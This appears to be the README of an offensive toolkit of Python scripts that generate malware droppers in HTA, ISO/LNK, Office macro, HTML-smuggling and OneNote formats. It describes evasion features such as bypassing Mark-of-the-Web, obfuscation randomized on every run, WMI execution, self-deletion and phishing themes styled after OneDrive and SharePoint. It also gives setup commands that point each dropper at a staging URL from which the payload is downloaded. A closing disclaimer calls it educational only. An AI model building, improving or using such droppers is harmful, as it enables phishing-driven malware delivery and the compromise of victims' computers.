Collection of Python generators for common initial access delivery formats. Each script produces a ready-to-use dropper with randomized variable names, string obfuscation, and configurable payload URLs.
- pack_hta.py - HTA dropper that runs via mshta.exe. Downloads payload using XMLHTTP, strips MOTW, shows a fake error dialog, then self-deletes.
- pack_iso.py - ISO image containing a disguised LNK shortcut + hidden batch launcher + payload. Bypasses MOTW since mounted ISO files don't inherit Zone.Identifier.
- pack_lnk.py - Weaponized .lnk shortcut with document icon. Uses cmd.exe + curl to download, no PowerShell involved. All metadata zeroed.
- pack_macro.py - VBA macro stager for .docm/.xlsm. Downloads via WinHTTP, executes through WMI (no cmd.exe in process tree). Variable names and URL strings randomized per generation.
- pack_smuggle.py - HTML smuggling page with OneDrive/SharePoint/Google Drive/Dropbox themes. Assembles payload client-side via JS blob, bypassing network inspection.
- pack_one.py - OneNote (.one) file with embedded batch stager. Builds a minimal valid MS-ONE binary.
pip install pycdlib # only needed for pack_iso.py
Set your staging URL via environment variable, then run any generator:
export PAYLOAD_URL="https://your-staging-server.com/payload.exe"
python pack_hta.py
python pack_iso.py
python pack_lnk.py
python pack_macro.py
python pack_smuggle.py
python pack_one.pyOutput goes to the output/ folder. Each run randomizes variable names and string encodings, so no two outputs are identical.
All scripts read PAYLOAD_URL from environment. You can also edit the constants at the top of each file directly:
PAYLOAD_URL- where the payload gets downloaded fromPAYLOAD_NAME- filename written to disk on the targetOUTPUT_DIR/OUTPUT_FILE- where the generated file lands
Some scripts have extra options:
pack_smuggle.py: setTHEMEtoonedrive,sharepoint,google_drive, ordropboxpack_smuggle.py: setEMBED_FILEto bake a binary directly into the HTMLpack_one.py: setMODEtobatchorhta
MIT
For educational and authorized security research only. I am not responsible for any misuse.
questions or need help? discord: eren_._z